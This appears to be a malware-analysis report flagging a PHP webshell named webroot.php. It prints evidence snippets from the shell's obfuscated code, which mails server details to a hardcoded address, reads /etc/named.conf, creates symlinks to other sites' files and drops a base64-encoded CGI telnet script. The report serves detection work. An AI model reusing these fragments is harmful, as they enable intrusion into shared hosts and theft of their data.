Hostile ^100% php-malware-analysis Download

webroot.php

PHP webshell with backdoor

PHP decoder eval webshellPHP webshell using some kind of eval with encoded blob to decode, which is checked with YARAs math.entropy module

SHA-25605840f71b79bd908ac887918046e4cf00b2bc3f6d43e594e70173f4909f278b1

MaleculeO₂(CAs)H₅(Cm₆Db₆F₁₂Os₇Po₄)Md₂Th

Evidence

Names the CGI SERVER_NAME variable lines 1–17

1<?php
2set_time_limit(0);
3ob_start();
4//error_reporting(0);
5/*
6$IIIIIIIIIIII    = '[email protected]';
7$IIIIIIIIIIIl   = 'WebRooT Logger';
8$IIIIIIIIIII1 = 'Dosya Yolu : '.$_SERVER['DOCUMENT_ROOT']."\r\n";
9$IIIIIIIIIII1.= 'Server Mail : '.$_SERVER['SERVER_ADMIN']."\r\n";
10$IIIIIIIIIII1.= 'Server isletim sistemi : '.$_SERVER['SERVER_SOFTWARE']."\r\n";
11$IIIIIIIIIII1.= 'ip : '.$_SERVER['SERVER_ADDR']."\r\n";
12$IIIIIIIIIII1.= 'OS : '.$IIIIIIIIIIlI = @exec('uname -a')."\r\n";
13$IIIIIIIIIII1.= 'Kapali Fonksiyon : '.ini_get('disable_functions')."\r\n";
14$IIIIIIIIIII1.= 'Shell Link : http://'.$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."\r\n";
15$IIIIIIIIIII1.= 'Avlanan Site : '.$_SERVER['HTTP_HOST']."\r\n";
16mail($IIIIIIIIIIII,$IIIIIIIIIIIl,$IIIIIIIIIII1);
17$IIIII …

Reads combined PHP request data via $_REQUEST lines 326–340

326:25… 00t'])){
327switch ($_REQUEST['webr00t']){
328case 'sec':
329echo '<div class="ikaz"></a><em><span style="font-family: Arial;"><span style="font-size: small;"><strong>Sunucuda Bulunan Sitelerin Hangi Scripti Kullandigini Listeler..</strong></span></span></em></div>';
330$IIIIIIIIIl1I = @file('/etc/named.conf');
331if(!$IIIIIIIIIl1I){
332die(" can't read /etc/named.conf");
333}else{
334echo "<img src=http://img810.imageshack.us/img810/8043/webr00t12.png><div class='tmp'><table align='center' width='40%'><td> Domains </td><td> Script </td>";
335foreach($IIIIIIIIIl1I as $IIIIIIIIIl1l){
336if(preg_match('/zone/i',$IIIIIIIIIl1l)){
⋯4 lines

Reads PHP form parameters via $_POST lines 564–574

564:32… 
565$IIIIIIIlII11 = $_POST['symfile'];
566$IIIIIIIlIlII = $_POST['symlink'];
567if ($IIIIIIIlIlII)
568{
569@symlink("$IIIIIIIlII1l","sym/$IIIIIIIlII11");
570echo '<br /><a target="_blank" href="sym/'.$IIIIIIIlII11.'" >'.$IIIIIIIlII11.'</a>';
571}
572break;
573case 'telnet':
574echo '<div class="ikaz"><em><span style="font-family: Arial;"><span style="font-size: small;"><strong>Cgi-Telnet Gelismis Surum..</strong></span></span></em></ …

Calls PHP base64_decode() lines 941–949

941:22… W50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0=';
942$IIIIIIIlIl1I = fopen('web.root','w+');
943$IIIIIIIlIl1l = fwrite($IIIIIIIlIl1I ,base64_decode($IIIIIIIlIll1));
944fclose($IIIIIIIlIl1I);
945chmod('web.root',0755);
946echo '<iframe src=cgiweb/web.root width=100% height=600px frameborder=0></iframe> ';
947break;
948case 'config':
949echo '<div class="ikaz"><em><span style="font-family: Arial;"><span style="font-size: small;"><strong>Serverdaki Tum Configleri Bularak Bir Klasor Alt�nda Listel …

Reads PHP query parameters via $_GET lines 1173–1182

1173:28… IIIIIIIlI1ll=$_GET['file'];
1174else if(!empty($_POST['file'])) $IIIIIIIlI1ll=$_POST['file'];
1175else $IIIIIIIlI1ll='';
1176echo '<PRE><img
1177src="http://img810.imageshack.us/img810/8043/webr00t12.png"><P>W��RooT Symlink Shell <a
⋯5 lines